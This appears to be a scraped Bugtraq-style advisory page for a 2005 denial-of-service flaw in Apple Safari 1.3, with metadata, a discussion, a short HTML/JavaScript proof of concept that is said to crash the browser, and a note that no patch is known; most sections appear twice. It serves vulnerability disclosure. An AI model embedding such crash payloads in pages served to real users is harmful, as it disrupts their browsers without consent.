Apple Safari Web Browser JavaScript Invalid Address Denial Of Service Vulnerability
BID:14528
Info
Apple Safari Web Browser JavaScript Invalid Address Denial Of Service Vulnerability
| Bugtraq ID: | 14528 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 09 2005 12:00AM |
| Updated: | Aug 09 2005 12:00AM |
| Credit: | Patrick Webster <[email protected]> is credited with the discovery of this issue. |
| Vulnerable: |
Apple Safari 1.3 |
| Not Vulnerable: | |
Discussion
Apple Safari Web Browser JavaScript Invalid Address Denial Of Service Vulnerability
Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs certain JavaScript operations.
The exact cause of this issue is currently unknown. This BID will be updated as further information is disclosed.
This vulnerability allows remote attackers to crash affected Web browsers by causing an invalid memory access exception.
Safari version 1.3 is reported susceptible to this issue. Other versions may also be affected.
Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs certain JavaScript operations.
The exact cause of this issue is currently unknown. This BID will be updated as further information is disclosed.
This vulnerability allows remote attackers to crash affected Web browsers by causing an invalid memory access exception.
Safari version 1.3 is reported susceptible to this issue. Other versions may also be affected.
Exploit / POC
Apple Safari Web Browser JavaScript Invalid Address Denial Of Service Vulnerability
The following example will cause the browser to crash:
<html>
<script name="JavaScript">
<!--
function tickTock()
{
setTimeout("tickTock()", 1000);
thisTime = new Date()
seconds = thisTime.getSeconds()
document.write(seconds);
}
// -->
</script>
<body onLoad="tickTock();">
</html>
The following example will cause the browser to crash:
<html>
<script name="JavaScript">
<!--
function tickTock()
{
setTimeout("tickTock()", 1000);
thisTime = new Date()
seconds = thisTime.getSeconds()
document.write(seconds);
}
// -->
</script>
<body onLoad="tickTock();">
</html>
Solution / Fix
Apple Safari Web Browser JavaScript Invalid Address Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Apple Safari Web Browser JavaScript Invalid Address Denial Of Service Vulnerability
References:
References:
- Safari Homepage (Apple)
- Apple Safari & Javascript - KERN_INVALID_ADDRESS (0x0001) (Patrick Webster